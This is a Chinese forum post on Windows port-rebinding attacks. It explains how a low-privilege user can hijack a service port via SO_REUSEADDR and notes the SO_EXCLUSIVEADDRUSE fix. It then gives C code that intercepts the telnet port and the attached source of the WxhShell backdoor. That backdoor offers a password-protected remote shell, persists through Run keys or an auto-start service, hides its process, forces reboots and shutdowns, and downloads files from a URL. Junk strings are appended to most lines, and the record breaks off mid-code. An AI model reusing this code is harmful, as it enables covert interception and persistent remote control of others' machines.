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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4`M7 3k0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8\H*Z2yF+  
9KgGK cy%  
  saddr.sin_family = AF_INET; Gi=s|vt  
Jv+N/+M47  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @V>BG8Y  
jFr[T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1O{(9nNj  
xS>d$)rIj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2uln)]  
uz%<K(:Ov  
  这意味着什么?意味着可以进行如下的攻击: &ap&dM0@%a  
|2t1m 6\j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QO&{Jx.^[  
=]swhF+l-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V ~%C me  
6 J B"qd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pSC\[%K  
d)yu`U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iXsX@ S^F  
[S<1|hk s(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >nqCUhS   
iS]4F_|vd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gFQ\zOlY8a  
.%x%b6EI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :Ou[LF.O  
(<ZpT%2  
  #include KyQd6 1  
  #include 4J9VdEKk  
  #include Q%*987i  
  #include    %&[=%zc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _< LJQ  
  int main() tP0\;W  
  { R|u2ga ~  
  WORD wVersionRequested; HZJ)q`1E  
  DWORD ret; YQ7\99tj  
  WSADATA wsaData; wdo(K.m  
  BOOL val; w28&qNha  
  SOCKADDR_IN saddr; mY 1Gm|  
  SOCKADDR_IN scaddr;  2.>aL  
  int err; hzcSKRm  
  SOCKET s; L%Mj{fJ>Wm  
  SOCKET sc; bK69Rb@\A  
  int caddsize; k+5l  
  HANDLE mt; BV-(`#~:y  
  DWORD tid;   $3'xb/3|  
  wVersionRequested = MAKEWORD( 2, 2 ); W_bp~Wu  
  err = WSAStartup( wVersionRequested, &wsaData ); GnFm*L  
  if ( err != 0 ) { qOs'Ljx6l  
  printf("error!WSAStartup failed!\n"); ~cL)0/j}  
  return -1; Zb4+zps^-  
  } m<liPl uv  
  saddr.sin_family = AF_INET; L4t( Y7  
   AdgZau[Y6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iz-B)^8.  
\'9(zbvz9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5 !Ho[  
  saddr.sin_port = htons(23); !+V."*]l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D_)N!,i  
  { !(8) '<t9  
  printf("error!socket failed!\n"); 3 n3$?oV  
  return -1; b'1m 9T780  
  } #6F|}E  
  val = TRUE; 8c3/n   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h2P&<ggqX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bag_0.H&m  
  { Is[n7Q  
  printf("error!setsockopt failed!\n"); me+u"G9I;  
  return -1; m8Y>4:Nw  
  } G vTA/zA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qF3s&WI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `P/87=h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~o X`Gih  
[R(dCq>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dh-?_|"  
  { lKBI3oYn  
  ret=GetLastError(); ]MmFtdvE  
  printf("error!bind failed!\n"); x,j%3/J^2  
  return -1; <0btwsv}  
  } ,:6.Gi)|  
  listen(s,2); U: q4OtiP  
  while(1) OD6dMql  
  { 9 Eqv^0u  
  caddsize = sizeof(scaddr); <El!,UBq<  
  //接受连接请求 qE*hUzA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Txa 2`2t7  
  if(sc!=INVALID_SOCKET) AvZO R  
  { %zYTTPLZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '>:%n  
  if(mt==NULL) orZwm9#].  
  { 08_<G`r  
  printf("Thread Creat Failed!\n"); X- P%^mK  
  break; 3U9leY'2N  
  } L~!Lq4]V\g  
  } 0 } |21YED  
  CloseHandle(mt); ,?c=v`e  
  } Zjn![  
  closesocket(s); *],= !  
  WSACleanup(); z0 J:"M  
  return 0; R,+"^:}  
  }   'NN3XyD  
  DWORD WINAPI ClientThread(LPVOID lpParam) xzb{g,c   
  { nkkUby9  
  SOCKET ss = (SOCKET)lpParam; c?}{>ig/)  
  SOCKET sc; ?OBB)hj  
  unsigned char buf[4096]; 0~Iq9}{*P  
  SOCKADDR_IN saddr; G7k.YtW  
  long num; 1[]V @P^  
  DWORD val; #&Fd16ov  
  DWORD ret; LM*m> n*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :Tdl84   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +a|u,'u  
  saddr.sin_family = AF_INET; asL!@YE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A",Xn/d  
  saddr.sin_port = htons(23); JpZ3T~Wrf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GXwQ )P5]  
  { 98Im/v  
  printf("error!socket failed!\n"); 1>)uI@?Rb  
  return -1; ]htx9ds=  
  } \79aG3MyK  
  val = 100; BWLeitS/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7!A3PDAe  
  { 6)1xjE#  
  ret = GetLastError(); .#_g.0<  
  return -1; uz@lz +  
  } oR}'I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ik\MSS  
  { 2$O6%0  
  ret = GetLastError(); \ocC'FmE  
  return -1; r?R!/`f  
  } n:[LsbTk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rp!>rM] s  
  { V&R_A~<T  
  printf("error!socket connect failed!\n"); /H$/s=YU\U  
  closesocket(sc); 4~e6z(  
  closesocket(ss); vJg^uf)  
  return -1; ,a\pdEPj  
  } H1e^/JD)  
  while(1) k-8$ 43  
  { V&>mD"~MP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 , R $ZZ4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '_%`0p1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =%0r_#F%=  
  num = recv(ss,buf,4096,0); 3M[5_OK   
  if(num>0) rlSflcK\\(  
  send(sc,buf,num,0); ol@LLT_m  
  else if(num==0) TN.&FDqC9  
  break; RQW<Sp~  
  num = recv(sc,buf,4096,0); YA@OA$`E  
  if(num>0) 6@J)k V  
  send(ss,buf,num,0); $jN,] N~  
  else if(num==0) F17nWvF  
  break; 0[!38  
  } ZZU"Q7`^  
  closesocket(ss); ;op 8r u  
  closesocket(sc); gro@+^DmT  
  return 0 ; +$D~?sk  
  } f/]g@/`  
qj<_*  
|^t8ct?x~  
========================================================== d1/uI^8>  
_.BX#BIF  
下边附上一个代码,,WXhSHELL uDG#L6  
 `AxhA.&V  
========================================================== [ FNA:  
[(/IV+  
#include "stdafx.h" =xPBolxm5U  
Y 9~z7  
#include <stdio.h> b;$j h   
#include <string.h> &&($LnyA]  
#include <windows.h> S1W(]%0/  
#include <winsock2.h> -{a&Zkz>V  
#include <winsvc.h> ['_G1_p  
#include <urlmon.h> Hbi2amfBu  
~ H $q  
#pragma comment (lib, "Ws2_32.lib") Uv(Uj3D  
#pragma comment (lib, "urlmon.lib") ,XmyC7y<  
S`&YY89{&  
#define MAX_USER   100 // 最大客户端连接数 4&^BcWqA*f  
#define BUF_SOCK   200 // sock buffer M;F&Ix  
#define KEY_BUFF   255 // 输入 buffer :EZ"D#>y~  
r$z0C&5  
#define REBOOT     0   // 重启 AV^Sla7|_  
#define SHUTDOWN   1   // 关机 ^n8r mh_%  
zIgD R  
#define DEF_PORT   5000 // 监听端口 J(%kcueb  
|T^c(RpOE  
#define REG_LEN     16   // 注册表键长度 *8j2iu-|  
#define SVC_LEN     80   // NT服务名长度 P]||Xbbp  
l/@t>%  
// 从dll定义API U#1 ,]a\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 06~HVv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4O'X+dv^I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u7kw/_f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FT.;}!"l  
Oj^qh+r  
// wxhshell配置信息 )]3(ue  
struct WSCFG { 5<KY}  
  int ws_port;         // 监听端口 rg{|/ ;imT  
  char ws_passstr[REG_LEN]; // 口令 x1{gw 5:  
  int ws_autoins;       // 安装标记, 1=yes 0=no >s+*D=k  
  char ws_regname[REG_LEN]; // 注册表键名 $r87]y!  
  char ws_svcname[REG_LEN]; // 服务名 RNn5,W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s6J`i&uu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -VlXZj@u+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 isR|K9qf^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '{xPdN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $E]W U?U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wf>scl `s  
h$~ \to$C  
}; TEi~X 2u  
]M5w!O!  
// default Wxhshell configuration `t~Zkb4>  
struct WSCFG wscfg={DEF_PORT, Gw)>i45 :  
    "xuhuanlingzhe", )Y}8)/Pud  
    1, GV T[)jS  
    "Wxhshell", l gzA) (  
    "Wxhshell", }Pn]j7u!  
            "WxhShell Service", b 6B5  
    "Wrsky Windows CmdShell Service", 2RC|u?+@  
    "Please Input Your Password: ", wc#E:GJcK  
  1, q:/<^|  
  "http://www.wrsky.com/wxhshell.exe", a@&P\"k  
  "Wxhshell.exe" /"%(i#<)xs  
    }; Au-h#YV  
U%nLo[k  
// 消息定义模块  *c6o#[l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p 3*y8g-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >=Pn\" j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3.?kxac  
char *msg_ws_ext="\n\rExit."; .V Cfh+*J#  
char *msg_ws_end="\n\rQuit."; O^,%V{]6\  
char *msg_ws_boot="\n\rReboot..."; 08TeGUjJ  
char *msg_ws_poff="\n\rShutdown..."; mjtmN0^SR  
char *msg_ws_down="\n\rSave to "; s35`{PR  
qu:nV"~_  
char *msg_ws_err="\n\rErr!"; OEFAL t  
char *msg_ws_ok="\n\rOK!"; V"`t*m$  
E'O[E=  
char ExeFile[MAX_PATH]; t5Oeb<REz  
int nUser = 0; b,Vg3BS  
HANDLE handles[MAX_USER]; F$k^px  
int OsIsNt; gL:Vj%c  
*VPj BzcH  
SERVICE_STATUS       serviceStatus; C6T?D5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T7bD t  
:7 P/ZC%  
// 函数声明 hmQ;!9  
int Install(void); L H8iHB  
int Uninstall(void); ;0c -+,  
int DownloadFile(char *sURL, SOCKET wsh); [, )G\  
int Boot(int flag); V|n}v?f_q  
void HideProc(void); ?8GggJC  
int GetOsVer(void); t0*,%ge:<  
int Wxhshell(SOCKET wsl); Oe["4C  
void TalkWithClient(void *cs); Fb0r(vQ^  
int CmdShell(SOCKET sock); /5$;W 'I  
int StartFromService(void); /)<x<7FKW  
int StartWxhshell(LPSTR lpCmdLine); ym =7EY?o  
Y%1 94fY$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -0>gq$/N=^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KW1b #g%Z  
}@XokRk  
// 数据结构和表定义 JE<w7:R&  
SERVICE_TABLE_ENTRY DispatchTable[] = Sbp].3^j  
{ W:gpcR]>  
{wscfg.ws_svcname, NTServiceMain}, fZ5zsm'N  
{NULL, NULL} 8h%oJ4da   
}; W Y]   
+\_c*'K>  
// 自我安装 6B=: P3Y  
int Install(void) h7"c_=w+  
{ -/'_XR@1  
  char svExeFile[MAX_PATH]; <(c_[o/  
  HKEY key; L<62-+e`  
  strcpy(svExeFile,ExeFile); iX|K4.Pz{  
e>] gCa  
// 如果是win9x系统,修改注册表设为自启动 =+z+`ot  
if(!OsIsNt) { NtfzAz/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aVvma=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Id}/(Pkq  
  RegCloseKey(key); {gkzo3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EQTJ=\WFF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6^l|/\Y{  
  RegCloseKey(key); ?-Zl(uX  
  return 0;  J^V}%N".  
    } lPyY  
  } J_S8=`f%  
} $&~moAl  
else { 2t,N9@u=UN  
qC x|}5:  
// 如果是NT以上系统,安装为系统服务 Kt#_Ln_6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SYE+A`a  
if (schSCManager!=0) rLpfybu  
{ N xW Dw  
  SC_HANDLE schService = CreateService }B e;YIhG  
  ( h0O t>e"  
  schSCManager, ZO#f)>s2  
  wscfg.ws_svcname, E#!tXO&,  
  wscfg.ws_svcdisp, kfV}ta'^S  
  SERVICE_ALL_ACCESS, }NJKkj?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'w z6Zt  
  SERVICE_AUTO_START, 1 ]A$  
  SERVICE_ERROR_NORMAL, !*1 $j7`tP  
  svExeFile, o"!C8s_6  
  NULL, XU y[l  
  NULL, ,6EhtNDu  
  NULL, teKx^ 'c'  
  NULL, *671MJ 9  
  NULL , UsY0YC  
  ); i$5<>\g  
  if (schService!=0) OU esL9  
  { { MV,>T_  
  CloseServiceHandle(schService); ?Qxf~,F  
  CloseServiceHandle(schSCManager); FMi:2.E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vvI23!H  
  strcat(svExeFile,wscfg.ws_svcname); 2Onp{,'}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :o 8XG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S54q?sb_  
  RegCloseKey(key); IE|? &O  
  return 0; 2O 2HmL  
    } 21$E.x 6  
  } ?XbM  
  CloseServiceHandle(schSCManager); vc0LV'lmg  
} uc>":V  
} jNvDE}'  
w *M&@+3I  
return 1; oo\7\b#Jx  
} k-Yli21-/|  
'eo/"~/*w  
// 自我卸载 ; ,}Dh/&E  
int Uninstall(void) Z%Fc -KVt  
{ 5%%e$o+  
  HKEY key; 4`B3Kt`o  
_ a#k3r  
if(!OsIsNt) { } J[Z)u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4_`(c1oA  
  RegDeleteValue(key,wscfg.ws_regname); 1Q/= s,{u  
  RegCloseKey(key); Kh$Q9$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E<l/o5<nC  
  RegDeleteValue(key,wscfg.ws_regname); *4ido?  
  RegCloseKey(key); RH.qbPjx  
  return 0; 5-hnk' ~  
  } Z)}UCi+/".  
} zM,r0Z  
} C-@[=  
else { .* )e24`  
.P <3+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); byFO^pce  
if (schSCManager!=0)  l*?_@  
{ Z]e`bfNnI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Bf?35LP  
  if (schService!=0) s&hr$`V4  
  { lA pZC6Iwk  
  if(DeleteService(schService)!=0) { P8(hHuO  
  CloseServiceHandle(schService); ^Z-oO#)h#  
  CloseServiceHandle(schSCManager); uzI=.j  
  return 0; u"uL,w 1-  
  } [!De|,u(^  
  CloseServiceHandle(schService); 57~y 7/0  
  } 6w=`0r3hy  
  CloseServiceHandle(schSCManager); n y cn  
} <iA\ZS:  
} %q}[ZD/HD  
/w1M%10   
return 1; E.Q]X]q  
} |AH>EXhv  
:KgH7s}  
// 从指定url下载文件 F"bz<{  
int DownloadFile(char *sURL, SOCKET wsh) =?c""~7  
{ hrm<!uKn  
  HRESULT hr; au04F]-|j8  
char seps[]= "/"; vK%*5  
char *token; ae2Q^yLA  
char *file; lYTQg~aPm  
char myURL[MAX_PATH]; X$;&Mdo.  
char myFILE[MAX_PATH]; |his8\C+x  
B>W8pZu-J  
strcpy(myURL,sURL); 0-uw3U<  
  token=strtok(myURL,seps);  vTgx7gP  
  while(token!=NULL) @0 'U p  
  { z&WtPSyGj  
    file=token; 2E?!Q I\O  
  token=strtok(NULL,seps); [}YUi>NGA  
  } Q6W![571;  
i!zFW-*5  
GetCurrentDirectory(MAX_PATH,myFILE); ei<0,w[V1{  
strcat(myFILE, "\\"); cT(6>@9@  
strcat(myFILE, file); 2j: 0!%  
  send(wsh,myFILE,strlen(myFILE),0); 1X[^^p~^  
send(wsh,"...",3,0); d=n@#|3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kv(R|d6Lp  
  if(hr==S_OK) }DXG;L  
return 0; =gs-#\%  
else (-g*U#   
return 1; 8Z0x*Ssk  
@zC6`  
} d\ 8v VZ  
W&=OtN U!  
// 系统电源模块 UrHndnqM  
int Boot(int flag) +ID\u <?  
{ [lg!*  
  HANDLE hToken; vjq2(I)u  
  TOKEN_PRIVILEGES tkp; )Xh}N  
o]~\u{o#.  
  if(OsIsNt) { d)e mTXB(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `0N7Gc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J Cq>;br.  
    tkp.PrivilegeCount = 1; _0jR({\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :{#O   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); odSPl{.>d  
if(flag==REBOOT) { G0{Z@CvO'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T#H^ }`  
  return 0; !uQT4< g  
} 4/Y?eUQ  
else { J\r\_P@;c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]bJz-6u#:  
  return 0; !+Xul_XG  
} cf88Fd6l/  
  } Oj;*Gi9E  
  else { {YgU23;q  
if(flag==REBOOT) { iCPm7AU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bDM},(  
  return 0; {_Wrs.a'8  
} 755,=U8'wi  
else { ?id) 2V0s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TIKkS*$  
  return 0; *3H=t$1G}  
} _Xt/U>N  
} 16zReI(  
V9,<>  
return 1; 8i154#l+\  
} 9F>`M  
>[AmIYg  
// win9x进程隐藏模块 Tb$))O}  
void HideProc(void) 3)y1q>CQf  
{ 9h amxi  
q1T)H2S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AP=h*1udk  
  if ( hKernel != NULL ) =P]Z"Ok  
  { *O :JECKU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .;]WcC<3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p L"{Uqi  
    FreeLibrary(hKernel); T82 `-bZ  
  } :QGkYJ  
oFj_o  
return; ^e8xg=8(  
} -K'UXoU1  
8YFG*HSa  
// 获取操作系统版本 taE p   
int GetOsVer(void) WR{m?neE_N  
{ *S ag  
  OSVERSIONINFO winfo; F:!6B b C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B/wD~xC?x  
  GetVersionEx(&winfo); HG;;M6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "pM >TMAE  
  return 1; @."K"i'Bl  
  else w.q`E@ T*  
  return 0; =&z+7Pe[  
} 2y - QH  
&VGV0K3 Dp  
// 客户端句柄模块 uu.X>agg  
int Wxhshell(SOCKET wsl) '4 *0Pw  
{ _y~6b{T  
  SOCKET wsh; L5bq\  
  struct sockaddr_in client; SBreA-2  
  DWORD myID; FJc8g6M  
x/DV>Nfn  
  while(nUser<MAX_USER) 8ttJ\m  
{ Voo'ZeZa  
  int nSize=sizeof(client); nQ\`]_C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZAr6RRv ^  
  if(wsh==INVALID_SOCKET) return 1; p AOKy  
YB"gLv?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TcaW'&(K  
if(handles[nUser]==0) V vrsf6l]  
  closesocket(wsh); .dU91> ~Ov  
else /o9it;  
  nUser++; NV * 2  
  } kG /1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @P7'MiP]K  
(%X *b.n=  
  return 0; 1kvX#h&V  
} FOQ-KP\ =,  
)/jDt dI  
// 关闭 socket gy}3ZA*F  
void CloseIt(SOCKET wsh) cy8>M))c  
{ 8J3#(aBm  
closesocket(wsh); "du(BZw  
nUser--; m^QoB  
ExitThread(0); _<(xjWp 8  
} 2nyK'k  
28"1ONs 3  
// 客户端请求句柄 VZi1b0k1.  
void TalkWithClient(void *cs)  p& _Z}Wv  
{ JTKS5 r7?  
G3_7e A#;  
  SOCKET wsh=(SOCKET)cs; =`3r'c  
  char pwd[SVC_LEN]; l ms^|?  
  char cmd[KEY_BUFF]; i{fw?))+  
char chr[1]; =MqEbQn{C3  
int i,j; )Z:-qH  
T \/^4N`  
  while (nUser < MAX_USER) { nX!%9x$3  
hl:Ba2_E +  
if(wscfg.ws_passstr) { 4mDHAR%D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `j{3|C=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~EBaVl ({  
  //ZeroMemory(pwd,KEY_BUFF); 2H`r:x<Z-  
      i=0; (2;Aqx5i  
  while(i<SVC_LEN) { mfj{_fR3  
SD^::bH  
  // 设置超时 c,r6+oX  
  fd_set FdRead; nOPB*{r|  
  struct timeval TimeOut; uU)t_W&-J  
  FD_ZERO(&FdRead); >GIQT ?O6  
  FD_SET(wsh,&FdRead); QT%`=b  
  TimeOut.tv_sec=8; Z?eTjkNS#  
  TimeOut.tv_usec=0; NOTG|\{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ._0$#J S[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5S4Nx>  
X?haHM#]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /RB%m8@;  
  pwd=chr[0]; %`bs<ZWT  
  if(chr[0]==0xd || chr[0]==0xa) { %Ik5|\ob?  
  pwd=0; JY c:@\   
  break; s]m]b#1!r  
  } 12 )  
  i++; rPB Ju0D"  
    } t%mi#Gh(  
e)H FI|>  
  // 如果是非法用户,关闭 socket wf  ]Wm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s>DFAu!  
} \*MZ 1Q*x  
L"YQji!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zg_b(ks  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \l=A2i7TQ  
vVBWhY]  
while(1) { O.dZ3!!+  
!*c%Dj  
  ZeroMemory(cmd,KEY_BUFF); bmHj)^v 5]  
A5R"|<UPR  
      // 自动支持客户端 telnet标准   46f- po_  
  j=0; ?.,F3@W "  
  while(j<KEY_BUFF) { Ge)G.>c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]4O!q}@Cd  
  cmd[j]=chr[0]; 3SY1>}(Y  
  if(chr[0]==0xa || chr[0]==0xd) { {%wrx'<  
  cmd[j]=0; #`@)lU+/  
  break; 0Y0z7A:  
  } @u+LF]MY  
  j++; m<n+1  
    } s3Bo'hGxG  
hzAuj0-A  
  // 下载文件 #IppjaPl8  
  if(strstr(cmd,"http://")) { VN-0hw/A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .\`M oH  
  if(DownloadFile(cmd,wsh)) */{y%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c:=HN-*vQ  
  else qi@Nz=t#HJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - .) f~#8  
  } <e Y2}Ml  
  else { ~I")-2"B  
h/5V~ :)  
    switch(cmd[0]) { ZXhNn<  
  [?6+ r  
  // 帮助 G9S3r3  
  case '?': { *[>{ 9V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~&,S xQT  
    break; m!INbIh  
  } h9d*N9!;M  
  // 安装 Urw =a$  
  case 'i': { #+i5'p(4  
    if(Install()) MNh:NFCRA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {%2p(5FB  
    else Z{u]qI{l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `m V(:  
    break; bz:En'2>F  
    } DFwiBB6  
  // 卸载 r{~b4~kAf5  
  case 'r': { uGC%3!f!  
    if(Uninstall()) 2x gk$E$7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5> 81Vhc,  
    else Z%sTj6Th  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nF-l4=  
    break; B8wGWZ@  
    } 5-4  
  // 显示 wxhshell 所在路径 shLMj)7!  
  case 'p': { >d;U>P5.  
    char svExeFile[MAX_PATH]; O>*Vo!z\f  
    strcpy(svExeFile,"\n\r"); *"jlsI  
      strcat(svExeFile,ExeFile); p*jH5h cy  
        send(wsh,svExeFile,strlen(svExeFile),0); ,*[N_[  
    break; ^K<!`B  
    } fG?a"6~  
  // 重启 xJ^B.;>  
  case 'b': { ]'<}kJtN.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3W[||V[r]<  
    if(Boot(REBOOT)) \0*dKgN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+Z;pt$C  
    else { HH3Z?g  
    closesocket(wsh); f4`Nws-dP  
    ExitThread(0); [+@T"2h2b  
    } P e} T  
    break; z3^gufOkQ  
    } ZRGe$HaU  
  // 关机 jJ RaY3  
  case 'd': { B&(/,.  
